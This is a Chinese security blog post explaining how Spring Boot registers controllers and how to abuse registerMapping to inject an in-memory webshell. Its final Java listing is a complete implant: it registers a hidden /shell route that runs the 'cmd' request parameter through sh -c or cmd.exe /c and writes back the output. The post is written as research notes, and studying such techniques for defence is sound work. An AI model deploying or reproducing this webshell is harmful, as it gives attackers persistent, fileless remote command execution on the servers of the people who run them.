1399 字
7 分钟
Springboot_Controller马

前言#

首先需要知道的是,Springboot只不过是启动Spring的一个工具,其自身已嵌入Tomcat等web容器,它是一个管理框架框架

马儿#

Controller型马#

古茗思意,即通过注册恶意的Controller来实现内存马注入
所以需要先了解Controller注册的过程

这是一个最简单页面,它在/下返回Hello World!

package org.tomcatjava.spring01;  
  
import org.springframework.boot.autoconfigure.SpringBootApplication;  
import org.springframework.web.bind.annotation.RequestMapping;  
import org.springframework.web.bind.annotation.RestController;  
  
@RestController  
@SpringBootApplication  
public class app01 {  
  
    @RequestMapping("/")  
    String home() {  
        return "Hello World!";  
    }  
}

其中需要关注的就是@RequestMapping这个注解,它会被RequestMappingHandlerMapping处理为HandlerMethod,具体来说:

RequestMappingHandlerMappingHandlerMapping这个接口类的实现,它会检测容器内的所有Controller并登记管理起来(想象一个Controller们拎包入住酒店的场景?)

RequestMappingInfo是用户请求时封装好的请求映射信息,里面包含了请求路径,请求方法,请求参数,请求头等,当RequestMappingHandlerMapping匹配到一个RequestMappingInfo(一个调用Controller的请求时)时,便会创建一个HandlerMethod对象

HandlerMethod表示一个控制器方法,包含了方法的元数据和执行上下文。

Controller注册#

首先在AbstractHandlerMethodMappinginitHandlerMethods处打断点

AbstractHandlerMethodMappingRequestMappingHandlerMapping的父类

protected void initHandlerMethods() {  
    String[] var1 = this.getCandidateBeanNames();  
    int var2 = var1.length;  
  
    for(int var3 = 0; var3 < var2; ++var3) {  
        String beanName = var1[var3];  
        if (!beanName.startsWith("scopedTarget.")) {  
            this.processCandidateBean(beanName);  
        }  
    }  
    this.handlerMethodsInitialized(this.getHandlerMethods());  
}

首先在getCandidateBeanNames获取了所有候选Bean的名称
然后接着一个for循环遍历所有bean,如果匹配到没有以scopedTarget.开头的bean名,就会调用processCandidateBean方法(以scopedTarget开头的一般是作用域代理bean,不是Controller)

processCandidateBean(beanname)就是bean处理并注册的地方


之后会记录bean类型到beantype


调用isHandler()方法


isHandler()方法判断了beantype中是否带了@Controller注解,如果带了则返回True

之后运行到this.detectHandlerMethods(beanName);,跟进去看


getMappingForMethod方法会创建并返回一个RequestMappingInfo


之后的一堆if判断为RequestMappingInfo添加了映射路径,请求映射注解等


之后这个Spring01Application便注册成功,返回到initHandlerMethods方法对下一个Bean继续处理

所以如何注册呢?
首先需要获取WebApplicationContext,像是Tomcat需要先获取
StandardContext对象一样,通过WebApplicationContext获取到RequestMappingHandlerMapping
WebApplicationContext对象的获取即(ContextLoader.getCurrentWebApplicationContext()方法)

// 1. 利用spring内部方法获取context
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 2. 从context中获得 RequestMappingHandlerMapping 的实例
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);

然后需要创建一个RequestMappingInfo对象来告诉RequestMappingHandlerMapping需要请求的Controller类的映射关系,它会将RequestMappingInfo注册

而可以对RequestMappingInfo动态注册的方法是RequestMappingHandlerMapping类中的registerMapping()方法

public void registerMapping(RequestMappingInfo mapping, Object handler, Method method) {  
    super.registerMapping(mapping, handler, method);  
    this.updateConsumesCondition(mapping, method);  
}

updateConsumesCondition 方法是 Spring 框架中 RequestMappingInfo 类的一部分,用于更新请求映射信息中的 consumes 条件。consumes 条件用于指定处理方法可以接受的请求内容类型(即请求体的 MIME 类型)。

它调用了父类的registerMapping

public void registerMapping(T mapping, Object handler, Method method) {  
    if (this.logger.isTraceEnabled()) {  
        this.logger.trace("Register \"" + mapping + "\" to " + method.toGenericString());  
    }  
  
    this.mappingRegistry.register(mapping, handler, method);  
}

registerMapping()方法需要三个参数: RequestMappingInfo mapping, Object handler, Method method

handler对象就是恶意Controller的对象

RequestMappingInfo的构造方法:

@Deprecated  
public RequestMappingInfo(@Nullable PatternsRequestCondition patterns, @Nullable RequestMethodsRequestCondition methods, @Nullable ParamsRequestCondition params, @Nullable HeadersRequestCondition headers, @Nullable ConsumesRequestCondition consumes, @Nullable ProducesRequestCondition produces, @Nullable RequestCondition<?> custom) {  
    this((String)null, patterns, methods, params, headers, consumes, produces, custom);  
}
参数名含义
name映射的名称,用于标识这个映射信息,通常用于日志记录或调试。
methods请求方法(如 GET、POST、PUT 等),指定处理方法可以接受的 HTTP 请求方法。
patternsURL 模式,指定处理方法可以接受的 URL 路径模式。
params请求参数条件,指定处理方法可以接受的请求参数条件。
headers请求头条件,指定处理方法可以接受的请求头条件。
consumes请求内容类型(即请求体的 MIME 类型),指定处理方法可以接受的请求内容类型。
produces响应内容类型(即响应体的 MIME 类型),指定处理方法可以生成的响应内容类型。
custom自定义请求条件,允许用户定义自定义的请求条件,以便更灵活地匹配请求。
patterns这个需要PatternsRequestCondition的一个对象
然后可通过
PatternsRequestCondition url = new PatternsRequestCondition("/cmd");

来新建一个对象确定Controller的路由

package org.tomcatjava.spring01.Controller;  
  
import org.springframework.stereotype.Controller;  
import org.springframework.web.bind.annotation.RequestMapping;  
import org.springframework.web.context.WebApplicationContext;  
import org.springframework.web.context.request.RequestContextHolder;  
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;  
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;  
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;  
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;  
  
import javax.servlet.http.HttpServletRequest;  
import javax.servlet.http.HttpServletResponse;  
import java.io.IOException;  
import java.io.InputStream;  
import java.lang.reflect.Method;  
import java.util.Scanner;  
  
@Controller  
public class Evil1 {  
  
    @RequestMapping("/control")  
    public void Spring_Controller() throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException {  
        System.out.println("i am in");  
        //获取当前上下文环境  
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);  
  
        //手动注册Controller  
        // 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例  
        RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);  
        // 2. 通过反射获得自定义 controller 中唯一的 Method 对象  
        Method method = Controller_Shell.class.getDeclaredMethod("shell", HttpServletRequest.class, HttpServletResponse.class);  
        // 3. 定义访问 controller 的 URL 地址  
        PatternsRequestCondition url = new PatternsRequestCondition("/shell");  
        // 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)  
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();  
        // 5. 在内存中动态注册 controller        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);  
        r.registerMapping(info, new Controller_Shell(), method);  
  
    }  
  
    public class Controller_Shell{  
        public void shell(HttpServletRequest request, HttpServletResponse response) throws IOException {  
            if (request.getParameter("cmd") != null) {  
                boolean isLinux = true;  
                String osTyp = System.getProperty("os.name");  
                if (osTyp != null && osTyp.toLowerCase().contains("win")) {  
                    isLinux = false;  
                }  
                String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};  
                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();  
                Scanner s = new Scanner(in).useDelimiter("\\A");  
                String output = s.hasNext() ? s.next() : "";  
                response.getWriter().write(output);  
                response.getWriter().flush();  
            }  
        }    }}

Links#

参考 & 高质量 & 工具

JavaSec/5.内存马学习/Spring/针对springboot的controller内存马
# spring boot 启动流程分析
# Servlet, Tomcat, Jetty, Netty分别是什么?
RequestMappingHandlerMapping 初始化搜集所有控制器方法的过程分析
Spring Controller内存马 从0到1的fastjson的反序列化漏洞分析

Springboot_Controller马
http://orxiain.life/posts/springboot_controller马/
作者
𝚘𝚛𝚡𝚒𝚊𝚒𝚗.
发布于
2024-10-29
许可协议
CC BY-NC-SA 4.0